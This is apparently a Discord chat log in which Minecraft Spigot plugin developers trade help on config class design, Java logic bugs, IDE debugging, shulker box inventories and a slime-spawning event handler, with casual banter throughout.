oh yeah that caused me issues just earlier today actually

#

I feel like I'd used that in the past and forgot java provided it

wraith prawn
#

Dows anyone know why I got that?

torn shuttle
#

that implementation?

#

it's uh

#

I can show it

#

but it's easier to explain honestly

#

this goes through a provided package in the plugin, instantiates everything in it, the plugin is set up so those packages actually work as generators for default configuration fields, which then get parsed to see if the file already exists / new defaults exist / the defaults have been modified, sets everything that should be set compared to the current version, then reads every value to take into account modified values (custom configs only go through the instantiation and the last step)

#

so in this class structure it instantiates the two classes in the "premade" package when it runs the CustomSpawnConfig which uses CustomSpawnConfigFields as a defaults initializer and config parser

#

how so

#

I won't be modifying the package paths after the next tweak, they only got modified in the first place as a patchwork solution

#

also these don't need to enforce constructors, the classes themselves are structured like this

public class TreasureGoblinSpawn extends CustomSpawnConfigFields {
    public TreasureGoblinSpawn() {
        super("treasure_goblin_spawn",
                true);
        setSurfaceSpawn(true);
        setValidWorldTypes(new ArrayList<>(Arrays.asList(World.Environment.NORMAL, World.Environment.CUSTOM)));
        setCanSpawnInLight(true);
        setBypassWorldGuard(false);
    }
}

#

I am the one writing these classes

#

all of them

#

with no exception

#

this is hard to mess up

#

the fact it extends the CustomSpawnConfigFields means that it's always going to require the appropriate fields to be setup for it to compile

#

I agree that this requires you use the system in a specific way, but I am the author and I wrote this system specifically for myself for this purpose

#

the alternative was adding to the list of hundreds of classes I was instantiating

#

and sometimes forgetting to instantiate them and wasting time debugging that

#

?paste

undone axleBOT
torn shuttle
#

it's already at 674 lines before it actually gets used which for me is already too large for comfort

#

yeah it's basically doing the same thing over and over again for different fields

#

yeah but then it would necessarily be anonymous right

#

I guess I could group them

#

at most

quaint mantle
#

Hello! spigot How can I change mob's pathfindergoal while mob is living? (I meant, I want to change pathfindergoal when it spawned. not before spawn)

torn shuttle
#

string and value

#

huh

#

did he get banned?

quaint mantle
#

yeah

#

it was nnyak again

torn shuttle
#

guess I'll see him again in 5 min

quaint mantle
#

sadly

#

man cant just stop trying

torn shuttle
#

I mean I could've told you it was him for free

quaint mantle
torn shuttle
#

anyhow that was probably a good idea

#

probably cut down on my getter and setter count

unkempt ore
#

I remembered something

#

The JDA keeps a cache of all members

#

But the updating of these members is done via gateway events

#

Which are not costly. Discord just publishes

#

It doesn't actually request every single member, it subscribes to Discord's events and updates them this way whenever changes to them occur

lost matrix
unkempt ore
#

The hitler guy

#

With a christmas hat

lost matrix
#

Aaah.

#

Lol

quaint mantle
unkempt ore
#

Finally

quaint mantle
#

Die mutter

#

Die bier

lost matrix
#

*Das Bier
But close ^^

quaint mantle
lost matrix
#

Thats all the german you need actually

unkempt ore
#

My cousin taught me that schweinehund means best friend

lost matrix
#

XD

#

Yes

#

Best friend even

brisk jacinth
unkempt ore
#

That is strange

granite stirrup
undone axleBOT
quaint mantle
lost matrix
#

Traditions: You are using 1.8 so > catgun

brisk jacinth
torn shuttle
#

you're using JAVA? 🔫

brisk jacinth
torn shuttle
unkempt ore
#

C plugin

brisk jacinth
#

I'm so cool I use HTML to create my plugins

lost matrix
brisk jacinth
dusk flicker
#

No

#

1.7 does

#

get it right

unkempt ore
#

It actually does though, tf

#

It's actually fast paced, and has mechanics to it

torn shuttle
#

I use an old telegraph transmitter to send assembly instructions to a robot which produces punch cards that I then plug into a computer to make my plugins

unkempt ore
#

Obviously

torn shuttle
#

pretty sure that's the standard way of doing things

lost matrix
torn shuttle
#

I always keep a stick of dynamite next to me just in case I need to undo an instruction for the bot

unkempt ore
#

No, there's strafing and W tapping too

#

And distance control

lost matrix
#

And left clicking really fast ^^

unkempt ore
#

Yeah, so?

#

Can you not left click really fast?

torn shuttle
#

carpal tunnel simulator

unkempt ore
#

Lmao

torn shuttle
#

a lot of people can't left click really fast

#

and most people shouldn't do it in the first place

quaint mantle
#

seems sus sus

unkempt ore
#

Why

#

It's my mouse

torn shuttle
#

I completely forgot arraylistmultimap was a thing

granite stirrup
#

wtf why does if (name != null) { if (!name.equals("")) this.name = name; } not give me a always true warn but when i do if (name != null || !name.equals("")) { this.name = name; } it does??

#

am i missing something

#

im probs being dumb and done something wrong

#

and havent noticed it

#

oh its cuz i put or(||)

#

with && it works

waxen plinth
#

Change || to &&

#

Also better to do name != null && name.length() != 0

granite stirrup
#

why?

waxen plinth
#

Less expensive

#

Won't make a big difference though

#

Nesting if statements is effectively the same as doing &&

granite stirrup
#

oh ok

waxen plinth
#

But in your second example you do ||, so the logic is not the same

granite stirrup
#

i realised that

#

i didnt notice it till later

#

is it possible to create a tab completer for a different prefix for commands?

#

probs not

#

but i wanna actually

#

know

waxen plinth
#

/pluginname:command vs /command?

granite stirrup
#

no i mean something like custom

#

like #command

quaint mantle
#

no

granite stirrup
#

kinda wish there was a method to tell clients that theres a tab completer without it having to be a actual command

#

probs not even possible

#

idfk how commands are in mc

brisk jacinth
#

I'm gonna try to make an Essentials like plugin for Minecraft 1.17.1

#

for fun lol

#

and practice ig

granite stirrup
#

essentials is already 1.17.1 so why

brisk jacinth
granite stirrup
#

im making a thing rn

#

i have no idea if its gonna work

#

XD

stone sinew
granite stirrup
#

the issue

stone sinew
granite stirrup
#

lol @EventHandler doesnt mark the method below as used

hardy pivot
#

anyone knows why the ide when debugging dont run plugins?

granite stirrup
#

you cant do that

#

you have to put it in a server

#

wtf why do u think you can just do that

hardy pivot
#

xD

silk mirage
#

you can do use ide for debugging

stone sinew
silk mirage
#

there is a spigot wiki for a mc server as a debugging server

#

for ide

hardy pivot
#

but i need to start the bash

#

but in some videos do it with the id directly

#

i do but it runs without plugins

granite stirrup
#

no they dont

#

it shouldnt run

silk mirage
#

you dont need bash

rigid wyvern
#

I have my ide run my spigot jar and a gradle thing to move the new jar to the debug folder every time I save

hardy pivot
granite stirrup
#

if your doing what inamine is doing

hardy pivot
#

if you are not going to help do not speak xD

silk mirage
hardy pivot
#

delicious

silk mirage
#

yep, i use the same, specturm version

hardy pivot
#

same xD

#

good taste man

sharp bough
#

how do yo have the server

#

in the intellij

silk mirage
#

wdym

#

brother first learn what does debugging means

paper viper
#

lmfao

silk mirage
#

debugging means to attach a jvm and extract variables, watch, etc..

sharp bough
#

lmao

paper viper
#

theres also remote jvm debugging

sharp bough
#

didnt know that

paper viper
#

there is literally a tutorial in the spigot wiki

#

xD

sharp bough
#

i just brute force

#

i try everything i see

paper viper
#

good luck then ig

#

idc

#

lmfao

sharp bough
#

until i mange to make it work

#

lool

hardy pivot
silk mirage
#

hm

hardy pivot
#

there u can do the .jar aplication

#

i solved the problem

#

it was an space in the path to .jar

silk mirage
paper viper
#

^

hardy pivot
#

the only doc is for remote connect to bash of the server

#

in the spigot forum

silk mirage
#

huh?

#

@hardy pivot

whole stag
#

That wouldn't really help the issue here

silk mirage
#

that has 0 bash scripiting

hardy pivot
#

Yes. The spigot information from debugging your plugin is making a remote connection to your server console. not doing the server in the ide

#

i mean, dont know how to explain english is not my native language

silk mirage
whole stag
#

It's a different use case, that's all

#

Fwiw, I'm not sure how well that tutorial would work for me either

hardy pivot
#

btw i solved my problem

whole stag
#

Spigot's tutorials and docs are overall kinda lacking

hardy pivot
#

i found more info un bukkit forums xD

#

a little bit outdated but useful

silk mirage
#

omg

whole stag
#

That is quite the interesting url

silk mirage
#

huh

brisk jacinth
#

I'll probably do /pay <player> <amount> tomorrow and add a few commands like /fly /heal /feed and probably add some chat formatting

brisk jacinth
silk mirage
#

... ok

brisk jacinth
#

so in the main directory there is going to be a folder called Currency and inside of that folder there will be a file called currency.dat which will hold the player data

#

the code for that saves and loads the file is:

private HashMap<UUID, Integer> money = new HashMap<UUID, Integer>();

    public void loadMoneyFile() throws IOException, ClassNotFoundException {
        File moneyFile = new File("Essentials/Currency/money.dat");

        ObjectInputStream input = new ObjectInputStream(new GZIPInputStream(new FileInputStream(moneyFile)));
        Object readObject = input.readObject();
        input.close();

        if (!(readObject instanceof HashMap)) {
            throw new IOException("Data is not a HashMap");
        }
        money = (HashMap<UUID, Integer>) readObject;
        for (UUID key : money.keySet()) {
            money.put(key, money.get(key));
        }
    }

    public void saveMoneyFile() throws IOException {
        for (OfflinePlayer p : Bukkit.getOfflinePlayers()) {
            File moneyFile = new File("Essentials/Currency/money.dat");

            ObjectOutputStream output = new ObjectOutputStream(new GZIPOutputStream(new FileOutputStream(moneyFile)));

            UUID uuid = p.getUniqueId();

            try {
                output.writeObject(money);
                output.flush();
                output.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
waxen plinth
brisk jacinth
true sorrel
#

does anyone know how i can disable ended dragon respawning?

#

i don't want players on my server to be able to respawn it

hardy pivot
#

u can use worldguard with mob-spawn deny flag

granite stirrup
#

so before i didnt have to do mvn clean but now i do lol whats happening if i dont do mvn clean the new jar i make is gonna not update the code

opal juniper
#

What did you set ur goals to

granite stirrup
#

do you know of fucking?

#

you know the village??

#

omfg it said it executed but it fucking didnt BRUH

#

pain

#

oH COME ON

#

i got a fucking null error

#

i thought the chat was 256 long

#

on width

#

or 255

stone sinew
granite stirrup
granite stirrup
#

and not on pixels

stone sinew
granite stirrup
#

i just said try it lmao ¯_(ツ)_/¯

stone sinew
granite stirrup
#

maybe try dividing by 5 on the last thing? instead of 2

#

idk

#

maybe 4

#

irdk

stone sinew
granite stirrup
#

btw where are you getting 480 from?

stone sinew
granite stirrup
#

wouldnt it in pixels be 255*2?

#

maybe try 510 instead?

stone sinew
granite stirrup
#

if you did 255 * 5 lol it would be massive

#

what is the a b c d e f g ... methods for?

stone sinew
granite stirrup
#

what does each method do?

stone sinew
granite stirrup
#

im just saying why do you need that many methods

#

cant you store it in like a hashmap?

stone sinew
#

Its an enum

granite stirrup
#

oh lol

#

i didnt read that bit

#

at the top

#

xd

#

but cant you try 510?

stone sinew
#

Sigh... Looks like the pixels sizes are off.

#

I need to account for the empty pixels between letters.

buoyant viper
#

arent mc chars not monospaced?

waxen plaza
#

How do I open an itemstack inventory if it's a shulkerbox??

opal juniper
#

What?

waxen plaza
#

How do I get the shulkers inventory if I know that an item stack is Material shulker box

opal juniper
#

OHhhh so you have an itemstack which is a shulker and you want the contents?

waxen plaza
#

yes

opal juniper
waxen plaza
#

thanks

paper geyser
#

any clue why this doesnt work?

    public void SlimeReplace(CreatureSpawnEvent event) {
        if (event.getEntity().getType() != EntityType.SLIME) {
            event.getEntity().remove();
            Integer ChunkEntities = event.getLocation().getChunk().getEntities().length;
            if (ChunkEntities < 4) {
                if (event.getLocation().getWorld() == Bukkit.getWorld("rpg")) {
                    Location center = new Location(Bukkit.getWorld("rpg"), 68, 69, 125);
                    Double distance = 75D;
                    Location location = event.getLocation();
                    if (location.distanceSquared(center) <= distance * distance) {
                        Entity ent = Bukkit.getWorld("rpg").spawnEntity(event.getLocation(), EntityType.SLIME);
                        Slime slime = (Slime) ent;
                    }
                }
            }
        }
    }
}
#

There can be more than 1 slime in a chunk

#

but you cant spawn aanything

#

even in an empty chunk

quaint mantle
#

help

paper geyser
#

whats up?

paper geyser
quaint mantle
#

hi

#

hol up

#

why squigle line under this

opal juniper
#

hover over it and it will say

paper geyser
#

^

quaint mantle
#

ye but i cant fix

#

'dev.bunk.surge.SurgeCore.this' cannot be referenced from a static context

ivory sleet
#

Idolp that looks broken kinda lol

paper geyser
#

it was working earlier

quaint mantle
#

but

#

without static

paper geyser
#

but then I added the check for in chunk

quaint mantle
#

= more error

ivory sleet
#

You know spawnEntity triggers a new creature spawn event

opal juniper
#

^

quaint mantle
#

now i got 7 error

opal juniper
#

stack overflow baybeeeeeeee

quaint mantle
ivory sleet
#

Also you’re checking if there are less than 4 entities

quaint mantle
#

it says i need it to be static

#

but if i make static

#

i get mrore eror

ivory sleet
#

Which I for some reason feel like it’s always going to be false

paper geyser
#

hmmm

quaint mantle
#

cvan som1 helpes me

paper geyser
#

why would it always be false

#

I mean it clearly is false bc it doesnt work

#

but I wonder why

ivory sleet
#

I mean okay you do remove any entity which isn’t slime but did you clear the world of entities before that? And players cannot be removed I think.

quaint mantle
#

helkp me and magic fairy make it true

paper geyser
#

dude i forgot to account for players